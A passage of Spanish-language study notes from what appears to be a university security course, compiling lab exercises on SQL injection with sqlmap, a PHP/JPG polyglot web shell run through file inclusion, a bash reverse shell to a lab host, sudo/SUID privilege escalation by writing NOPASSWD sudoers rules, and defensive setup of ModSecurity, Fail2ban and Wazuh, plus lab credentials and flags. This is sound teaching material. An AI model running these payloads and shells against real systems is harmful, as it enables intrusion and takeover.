Comando base:

```
feroxbuster -u http://172.31.0.22/ -x txt,html,old,bak,zip,git
```

Comando completo:

```
feroxbuster -u http://172.31.0.22/ \
-w /usr/share/wordlists/dirb/common.txt \
-x txt,html,old,bak,zip,git \
-d 2 \
-t 20 \
-C 403 \
-o ferox_results.txt
```

Opciones:

- -w: diccionario.
- -x: extensiones.
- -d 2: profundidad de recursividad.
- -t 20: hilos.
- -C 403: filtra 403.
- -filter-size 276: filtra por tamaño.
- -o: guarda salida.

Feroxbuster destaca por enumeración recursiva.

Descarga de `.git` expuesto

URL:

```
http://172.31.0.22/.git/
```

Descarga:

```
wget -q -r -np -nH --cut-dirs=1 -R "index.html*" http://172.31.0.22/.git/ -P .git/
```

Parámetros:

- -q: silencioso.
- -r: recursivo.
- -np: no subir a directorios padre.
- -nH: no crear carpeta con hostname.
- --cut-dirs=1: recorta primer directorio remoto.
- -R "index.html*": rechaza índices HTML generados por Apache.
- -P .git/: guarda en `.git/`.

Reconstrucción de repositorio Git

Crear carpeta:

```
mkdir -p recovered_repo
```

Reconstruir:

```
git --git-dir=.git --work-tree=recovered_repo checkout -f
```

Alternativa:

```
git --git-dir=.git --work-tree=. status
git --git-dir=.git --work-tree=. restore .
git --git-dir=.git --work-tree=. restore nombre_del_archivo
```

Uso:

- Recuperar archivos versionados no visibles directamente desde la web.
- Buscar rutas internas, configuraciones o credenciales.

Validación débil de subida de ficheros

Contexto:

- La web exige una extensión concreta, por ejemplo .jpg.
- No valida correctamente el contenido real.
- Se puede modificar un PDF y subirlo cambiando extensión.

Problema:

- Validación basada solo en nombre/extensión.
- No comprueba MIME real ni magic bytes.

11. SQL Injection y sqlmap

Incluye LAB10-11-12 y LAB07 como contexto.

Detección manual

Tras detectar un servicio web, se usa curl o navegador para inspeccionar contenido.

Si hay login:

- Revisar formulario con herramientas de desarrollador.
- Identificar nombres de parámetros.
- Probar payloads de SQL Injection.

Ejemplo de parámetros:

```
username
password
```

sqlmap: enumerar tablas

Comando anotado:

```
sqlmap -u http://172.31.0.40 --data=username=test&password=test --batch --tables
```

Versión más segura con comillas:

```
sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch --tables
```

Parámetros:

- -u: URL objetivo.
- --data: cuerpo POST.
- --batch: no preguntar interactivamente.
- --tables: enumera tablas.

Ubicación de resultados

Con usuario root:

```
/root/.local/share/sqlmap/output
```

Volcado de tabla concreta

```
sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch -T products -dump
```

Tabla:

```
products
```

Volcado completo

```
sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch -dump
```

También puede ajustarse:

```
--risk
--level
```

Limpiar sesión de sqlmap

```
rm -rf /root/.local/share/sqlmap/output/172.31.0.40/*
```

Esto evita reutilizar resultados previos.

Boolean-based blind

Comando:

```
sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=B --dbms=SQLite
```

Payload observado:

```
http://172.31.0.40/product.php?id=1 AND SUBSTR(sqlite_version(),1,1)='1'
```

Funcionamiento:

- `sqlite_version()` obtiene versión SQLite.
- `SUBSTR(sqlite_version(),1,1)` extrae primer carácter.
- La aplicación responde distinto si la condición es verdadera o falsa.
- sqlmap infiere información comparando respuestas.

UNION-based

Comando:

```
sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=U --dbms=SQLite
```

Payload observado:

```
http://172.31.0.40/product.php?id=1%20UNION%20ALL%20SELECT%20NULL,NULL,(SELECT%20sqlite_version()),NULL%20--%20lfDr
```

Funcionamiento:

- `UNION ALL SELECT` mezcla una consulta nueva con la legítima.
- `NULL` rellena columnas no usadas.
- Se inserta `sqlite_version()` en una columna visible.
- `--` comenta el resto de la consulta original.

Time-based blind

Comando:

```
sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=T --dbms=SQLite --risk=3 --level=5
```

Payload observado:

```
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE \[RANDNUM] END)
```

Funcionamiento:

- SQLite no tiene `SLEEP()` nativo.
- sqlmap genera retraso con operación pesada:
- `RANDOMBLOB`.
- `HEX`.
- `UPPER`.
- Si la condición es verdadera, tarda más.
- Si es falsa, responde rápido.
- sqlmap mide tiempos para inferir datos.

SQL Injection en cookies

Payload manual:

```
alice' OR '1'='1' ORDER By id asc limit 1 offset 0 --
```

sqlmap con cookie:

```
sqlmap -u "http://172.31.0.40/cookie_lab.php" --cookie="user=alice" --batch --level=2
```

Funcionamiento:

- El parámetro vulnerable está en cookie HTTP.
- --cookie indica la cookie enviada.
- --levele=2 permite probar parámetros menos evidentes como cookies.

Webshell con sqlmap

Comando:

```
sqlmap -u "http://172.31.0.50/rce_sqli.php?id=1" -p id --dbms=mysql --os-shell --web-root="/var/www/html" --batch
```

Parámetros:

- -p id: parámetro vulnerable.
- --dbms=mysql: fuerza MySQL.
- --os-shell: intenta shell del sistema operativo.
- --web-root="/var/www/html": ruta raíz web para escribir ficheros si es necesario.

Idea:

- SQLi puede pasar de extraer datos a ejecución remota de comandos si el DBMS/servidor lo permite.

12. Local File Inclusion, Subida de Ficheros y Reverse Shell

Incluye Sin título.md y parte de LAB10-11-12.

Crear polyglot PHP/JPG

```
cp eii.jpg polyglot.jpg
printf "\n<?php system(\$_GET['cmd']); ?>\n" >> polyglot.jpg
mv polyglot.jpg shell_polyglot.php.jpg
file shell_polyglot.php.jpg
```

Idea:

- Se parte de una imagen real.
- Se añade código PHP al final.
- Se renombra como doble extensión .php.jpg.
- Si el servidor interpreta PHP mediante una inclusión vulnerable, puede ejecutar comandos.

Ejecutar comando mediante LFI

```
curl -s "http://172.31.0.90/view.php?page=uploads/shell_polyglot.php.jpg&cmd=id" | strings | grep -iE "uid=|gid="
```

Puntos clave:

- Parámetro vulnerable: page.
- Fichero subido: uploads/shell_polyglot.php.jpg.
- Comando: cmd=id.
- strings limpia salida binaria/ruido de imagen.
- grep -iE "uid=|gid=" busca salida de id.

Payload PHP sin ruido de imagen

```
cat > lfi_payload.php.jpg <<'EOF'
<?php
echo "BEGIN\n";
system($_GET['cmd'] ?? 'id');
echo "\nEND\n";
?>
EOF
```

Subir como .jpg si la aplicación solo valida extensión.

Prueba de conexión saliente

```
http://172.31.0.90/view.php?page=uploads/lfi_payload.php.jpg&cmd=php -r '$s=fsockopen("172.31.0.10",4444); \
fwrite($s,"TEST\n");'
```

Reverse shell Bash

URL anotada:

```
http://172.31.0.90/view.php?page=uploads/lfi_payload.php.jpg&cmd=bash -c 'bash -i >& /dev/tcp/172.31.0.10/4444 0>&1'
```

En atacante, escuchar:

```
nc -lvnp 4444
```

13. Proxy Inverso, ModSecurity, OWASP CRS y Fail2ban

Incluye LAB09.

Objetivo

- Usar una máquina como proxy.
- Redireccionar/proteger un servidor Apache.
- Integrar ModSecurity con reglas OWASP.
- Probar ataques desde Kali.
- Añadir protección con Fail2ban.

Instalación del proxy y ModSecurity

```
apt install apache2
apt install libapache2-mod-security2
```

Editar puertos:

```
nano /etc/apache2/ports.conf
systemctl restart apache2
```

Habilitar módulos:

```
a2enmod proxy
a2enmod proxy_http
a2enmod security2
```

Integración OWASP CRS en ModSecurity

Activar configuración recomendada:

```
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
```

Copiar configuración base y reglas:

```
cp crs-setup.conf.example /etc/modsecurity/crs-setup.conf
cp -r rules/ /etc/modsecurity/
```

Ajustes Apache

Editar:

```
nano /etc/apache2/mods-available/security2.conf
nano /etc/apache2/sites-available/000-default.conf
```

Objetivo:

- Hacer que Apache cargue las reglas de ModSecurity.
- Activar motor de reglas en el virtual host.

Pruebas de ataques

IP usada:

```
192.168.92.1
```

Rutas:

```
/epi
/eii
```

Prueba de comando sospechoso:

```
curl 192.168.92.1/epi?exec=/bin/bash
```

Prueba XSS:

```
curl 192.168.92.1/eii?message="<script>alert('test')</script>"
```

Prueba SQL Injection:

```
curl -X POST 192.168.92.1/eii -d "user=admin' OR 1==1 --"
```

Nota:

- - - comenta el resto de la consulta SQL.

Regla propia ModSecurity

```
SecRule ARGS:testarg "@contains ssi" "id:1234,deny,status:403,msg:'regla de prueba disparada'"
```

Funcionamiento:

- Inspecciona parámetro testarg.
- Si contiene ssi, deniega.
- Respuesta HTTP 403.
- Registra mensaje regla de prueba disparada.

Fail2ban

Instalación:

```
apt install fail2ban
```

Buenas prácticas:

- No modificar directamente ficheros .conf base.
- Sobrescribir configuración en directorios .d.
- Por ejemplo, modificar jail en jail.d.

Parámetros importantes:

- maxretry: número de intentos antes de ban.
- findtime: ventana de tiempo.
- bantime: duración del baneo.

Consultar jails:

```
fail2ban-client status
```

Desbanear IP:

```
fail2ban-client status  
fail2ban-client set sshd unbanip 192.168.92.50
```

14. SMB/Samba

Incluye LAB10-11-12.

Detección de SMB

Host:

```
172.31.0.22
```

Puertos:

```
139/tcp netbios-ssn  
445/tcp microsoft-ds
```

Scripts NSE útiles

Buscar scripts:

```
ls /usr/share/nmap/scripts | grep -Ei "smb|samba"  
ls /usr/share/nmap/scripts | grep -Ei "http|apache"
```

Scripts usados:

```
smb-enum-shares.nse  
smb-os-discovery
```

Comando:

```
nmap --script smb-enum-shares,smb-os-discovery -p 139,445 172.31.0.22
```

En la práctica no dio información útil, así que se exploró HTTP.

Enumeración con smbclient

Listar recursos:

```
smbclient -L //172.31.0.22/ -N
```

- -L: lista recursos compartidos.
- -N: sin contraseña, usuario anónimo.

Conectar a recurso public:

```
smbclient //172.31.0.22/public -N
```

Comandos dentro de smbclient:

```
ls
pwd
get archivo
recurse
prompt
mget *
```

Fichero encontrado:

```
readme.txt
```

Descarga:

```
get readme.txt
```

Contenido:

```
Internal usernames (do not share):
- admin
- support
- accounting
```

Pista:

- El usuario accounting sugiere probar rutas de finanzas.
- Se encuentra finance/accounts.txt.
- accounts.txt contiene cuentas bancarias de usuarios.

15. Escalada de Privilegios Linux

Incluye LAB10-11-12 Step 5.

Flujo general

1. Comprobar usuario y permisos:

```
whoami
id
sudo -l
```

2. Si sudo -l no da vía útil, buscar SUID:

```
find / -perm -4000 -type f 2>/dev/null
```

3. Consultar GTFOBins:

```
https://gtfobins.org/
```

GTFOBins ayuda a explotar:

- sudo mal configurado.
- Binarios con SUID.
- Capacidades Linux.
- Lectura/escritura de ficheros.
- Ejecución de comandos.
- Obtención de shell.

SUID encontrados en la práctica

```
/usr/bin/mount
/usr/bin/su
/usr/bin/passwd
/usr/bin/dd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/bzip2
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
```

user1: sudo con /bin/cp

sudo -l:

```
User user1 may run the following commands on vuln_gtfo:
(root) NOPASSWD: /bin/cp
```

Estrategia:

- Crear regla sudoers propia.
- Copiarla a /etc/sudoers.d/ usando /bin/cp como root.

Regla:

```
user1 ALL=(ALL) NOPASSWD: ALL
```

Comandos:

```
echo "user1 ALL=(ALL) NOPASSWD: ALL" > /tmp/user1
sudo /bin/cp /tmp/user1 /etc/sudoers.d/user1
sudo -l
sudo -i
```

Resultado:

- user1 puede ejecutar cualquier comando como root sin contraseña.

user2: sudo con python3

Estrategia:

- Usar Python como root para escribir en /etc/sudoers.d/user2.

Comando:

```
sudo python3 -c 'open("/etc/sudoers.d/user2", "w+").write("user2 ALL=(ALL) NOPASSWD: ALL\n")'
sudo -l
sudo -i
```

Regla:

```
user2 ALL=(ALL) NOPASSWD: ALL
```

user3: sudo con tee

Estrategia:

- tee escribe en fichero con privilegios si se ejecuta con sudo.

Comando:

```
echo "user3 ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/user3
sudo -l
sudo -i
```

Regla:

```
user3 ALL=(ALL) NOPASSWD: ALL
```

user4: SUID con dd

Problema inicial:

```
sudo: /etc/sudoers.d/user4 is owned by gid 1003, should be 0
Sorry, user user4 may not run sudo on vuln_gtfo.
```

Interpretación:

- Fichero sudoers con grupo incorrecto.
- sudo lo rechaza por metadata inválida.

SUID:

```
find / -perm -4000 -type f 2>/dev/null
```

Binario útil:

```
/usr/bin/dd
```

Idea:

- dd permite leer/escribir ficheros.
- Si se sobrescribe un fichero sudoers existente y válido, se conserva propietario/grupo/permisos del fichero original.

Revisar sudoers:

```
ls -l /etc/sudoers.d/
ls -l /etc/sudoers.d/user1
```

Preparar fichero temporal:

```
cat /etc/sudoers.d/user1 > /tmp/sudoers_user4
echo "user4 ALL=(ALL) NOPASSWD: ALL" >> /tmp/sudoers_user4
cat /tmp/sudoers_user4
```

Sobrescribir fichero válido:

```
/usr/bin/dd if=/tmp/sudoers_user4 of=/etc/sudoers.d/user1
```

Comprobar y escalar:

```
sudo -l
sudo -i
```

Alternativa:

```
sudo su
```

Resumen de vías de escalada

```
| Usuario | Vía | Técnica |
| --- | --- | --- |
| 'user1' | `sudo /bin/cp` | Copiar regla a `/etc/sudoers.d/` |
| 'user2' | `sudo python3` | Escribir sudoers con Python |
| 'user3' | `sudo tee` | Escribir sudoers con `tee` |
| 'user4' | SUID `dd` | Sobrescribir sudoers válido conservando metadata |
```

16. Comandos Rápidos por Herramienta

Linux y red

```
whoami
id
ip a
ip route
sudo nmap 192.168.8.0/24
nmap -sV objetivo
nmap -O objetivo
nmap --script default objetivo
```

Lynis/OpenSCAP/CIS

```
sudo lynis audit system
sudo lynis audit system > lynis.txt
pam-auth-update --enable faillock
faillock --user usuario
oscap info archivo.xml
oscap xccdf eval --profile PERFIL --results results.xml --report report.html archivo.xml
oscap xccdf generate fix --profile PERFIL --fix-type bash archivo.xml > remediacion.sh
```

Criptografía

```
fcrackzip -b -c 'aA1' -l 1-6 -u archivo.zip
cewl http://URL -m 1 -d 4 --with-numbers -w diccionario.txt
stegseek imagen.jpg diccionario.txt
steghide extract -sf imagen.jpg -p "password"
openssl enc -d -aes-192-cbc -in archivo.enc -out salida.txt -K clave_hex -iv iv_hex
base64 -d entrada.txt > salida.txt
chmod 600 clave_privada.key
ssh -i clave_privada.key -p 2222 usuario@ip
hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
john hash.txt --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt
openssl req -newkey rsa:2048 -keyout clave.key -out csr.csr -nodes
openssl pkeyutl -encrypt -pubin -inkey publica.pem -in archivo -out cifrado.enc
openssl dgst -sha256 -sign privada.key -out firma.sig archivo
```

Web y directorios

```
dirb http://objetivo /usr/share/dirb/wordlists/common.txt
gobuster dir -u http://objetivo/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,old,bak,zip,git
feroxbuster -u http://objetivo/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,old,bak,zip,git -d 2 -t 20 -C 403 \
-o ferox_results.txt
wget -q -r -np -nH --cut-dirs=1 -R "index.html*" http://objetivo/.git/ -P .git/
git --git-dir=.git --work-tree=recovered_repo checkout -f
```

SQL Injection

```
sqlmap -u "http://objetivo" --data="username=test&password=test" --batch --tables
sqlmap -u "http://objetivo" --data="username=test&password=test" --batch -T products --dump
sqlmap -u "http://objetivo" --data="username=test&password=test" --batch --dump
sqlmap -u "http://objetivo/product.php?id=1" --batch --technique=B --dbms=SQLite
sqlmap -u "http://objetivo/product.php?id=1" --batch --technique=U --dbms=SQLite
sqlmap -u "http://objetivo/product.php?id=1" --batch --technique=T --dbms=SQLite --risk=3 --level=5
sqlmap -u "http://objetivo/cookie_lab.php" --cookie="user=alice" --batch --level=2
sqlmap -u "http://objetivo/rce_sql.php?id=1" -p id --dbms=mysql --os-shell --web-root="/var/www/html" --batch
```

LFI y reverse shell

```
cp eii.jpg polyglot.jpg
```

```
printf "\n<?php system(\$_GET['cmd']); ?>\n" >> polyglot.jpg
mv polyglot.jpg shell_polyglot.php.jpg
file shell_polyglot.php.jpg
curl -s "http://objetivo/view.php?page=uploads/shell_polyglot.php.jpg&cmd=id" | strings | grep -iE "uid=|gid="
nc -lvnp 4444
```

ModSecurity/Fail2ban

```
apt install apache2
apt install libapache2-mod-security2
a2enmod proxy
a2enmod proxy_http
a2enmod security2
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
cp crs-setup.conf.example /etc/modsecurity/crs-setup.conf
cp -r rules/ /etc/modsecurity/
apt install fail2ban
fail2ban-client status
fail2ban-client set sshd unbanip 192.168.92.50
```

Wazuh

```
sudo systemctl enable --now wazuh-agent
tail -f /var/ossec/logs/alerts/alerts.log
/var/ossec/bin/wazuh-logtest
docker-compose logs -f wazuh-manager
```

Escalada de privilegios

```
sudo -l
find / -perm -4000 -type f 2>/dev/null
echo "user ALL=(ALL) NOPASSWD: ALL" > /tmp/user
sudo /bin/cp /tmp/user /etc/sudoers.d/user
sudo python3 -c 'open("/etc/sudoers.d/user","w+").write("user ALL=(ALL) NOPASSWD: ALL\n")'
echo "user ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/user
/usr/bin/dd if=/tmp/sudoers_user of=/etc/sudoers.d/user1
sudo -i
```

17. Datos Concretos de Prácticas

LAB02 CTF

```
SSI_P1_2ddcc781905bfe6a
SSI_P2_e8611d13d2aa4adf
SSI_P3_b659f42158bea1be
MIIEOQ
bda511
2ddcc781905bfe6ae8611d13d2aa4adfb659f42158bea1beMIIEOQbda511
```

LAB03-04 Criptografía

```
URL personalizada: https://156.35.163.140/api/dd44e5e5
Credenciales: U0302313:pass_ECpPY
Usuario: U0302313
VPN: GlobalProtect desde host
Steghide password: Contact
Clave descifrado extraida: ee5dd8c351b1c5d089c7793c50e874b6
Clave usada en paso 3/4: 49d32a54f7d47a048c45a826ddf8843d
IV: f7ab03abeca859e33bcf577713d855ea
Algoritmo correcto: AES-192-CBC
SSH: 156.35.163.140:2222
Clave privada: clave_privada_U0302313_id_rsa
Usuario local: local_U0302313
Hash SHA-256: 12829da7d7e6146a0506cc410ffeeb0f88be99b3035dbb78ee56347d09d492bf
Contraseña local: ATHFCHARACTERS
CA: http://156.35.163.140:5000
Certificado: certificado_firmado.pem
Entrega: token_cifrado.enc, token_cifrado.sig, certificado_firmado.pem
```

LAB05 CIS

```
Lynis baseline: Hardening index 62
Warnings: 42
Suggestions: 85
Control: CIS 5.3.2.2 pam_faillock
Perfil OpenSCAP: xccdf_org.ssgproject.content_profile_cis_level1_server
SCAP file: scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml
```

LAB06 Wazuh

```
Dashboard: https://localhost
Usuario: admin
Password: SecretPassword
Agente: ApacheServer-Prueba
Manager: 127.0.0.1
FIM: /var/www/html/etc/apache2
```

LAB08 Nmap

```
Subred: 192.168.8.0/24
DNS: 192.168.8.2 BIND 9.18.30-0ubuntu0.20.04.2-Ubuntu
Host más expuesto: 192.168.8.69
Claves SSH duplicadas: 192.168.8.48 y 192.168.8.69
```

LAB09 Proxy/WAF

```

Proxy IP usada: 192.168.92.1
Rutas: /epi, /eii
Regla propia ModSecurity: id 1234
Desban Fail2ban: fail2ban-client set sshd unbanip 192.168.92.50

```

LAB10-11-12 Web, SQLi, SMB y PrivEsc

```

Servicio web step2: ssi_front_web.step2_internet_net (172.30.0.20), puerto 80
SQLi objetivo: http://172.31.0.40
sqlmap output root: /root/.local/share/sqlmap/output
Webshell SQLi: http://172.31.0.50/rce_sql.php?id=1
Step 4 objetivo: 172.31.0.22
Servicios step4: 80/http, 139/netbios-ssn, 445/microsoft-ds
Backups: http://172.31.0.22/backups/config.bak
DB_HOST: acme-db.internal
DB_USER: acme_app
DB_PASSWORD: SuperSecret123
.git expuesto: http://172.31.0.22/.git/HEAD
SMB public: //172.31.0.22/public
Usuarios internos: admin, support, accounting
Ruta sensible inferida: finance/accounts.txt
GTF0Bins: https://gtfobins.org/

```

LFI / Reverse Shell

```

Ejemplo PDF: https://pdfobject.com/pdf/sample.pdf
Objetivo LFI: http://172.31.0.90/view.php
Parámetro vulnerable: page
Payload subido: uploads/lfi_payload.php.jpg
Atacante: 172.31.0.10:4444

```

18. Mapa de Fuentes Originales

```

| Archivo original | Contenido integrado |
| --- | --- |
| `SSI - Teoria.md` | Conceptos base, CIA, amenazas, vulnerabilidades, exploits, payloads, metadatos |
| `SSI- LAB01.md` | NAT/MV, estructura Linux, UFW, logs, Lynis |
| `SSI- LAB02 CTF.md` | Docker básico, CTF web, debug token, robots, FTP, metadatos |
| `SSI- LAB03 Criptografia.md` | ZIP cracking, esteganografía, OpenSSL, SSH, hashes, CSR, certificado, firma |
| `SSI- LAB05 CIS.md` | Lynis, CIS, pam_faillock, OpenSCAP, remediación |
| `SSI- LAB06.md` | Wazuh, agente, FIM, SCA, eventos y logs |
| `SSI- LAB07.md` | AppSec, revisión manual, SAST, dependencias, DAST con ZAP |
| `SSI- LAB08.md` | Nmap, enumeración de red, NSE, host keys duplicadas |
| `SSI- LAB09.md` | Apache proxy, ModSecurity, OWASP CRS, Fail2ban |
| `SSI- LAB10-11-12.md` | SQLi, sqlmap, enumeración web, `.git`, SMB, escalada de privilegios |
| `Sin título.md` | LFI, polyglot PHP/JPG, reverse shell |

```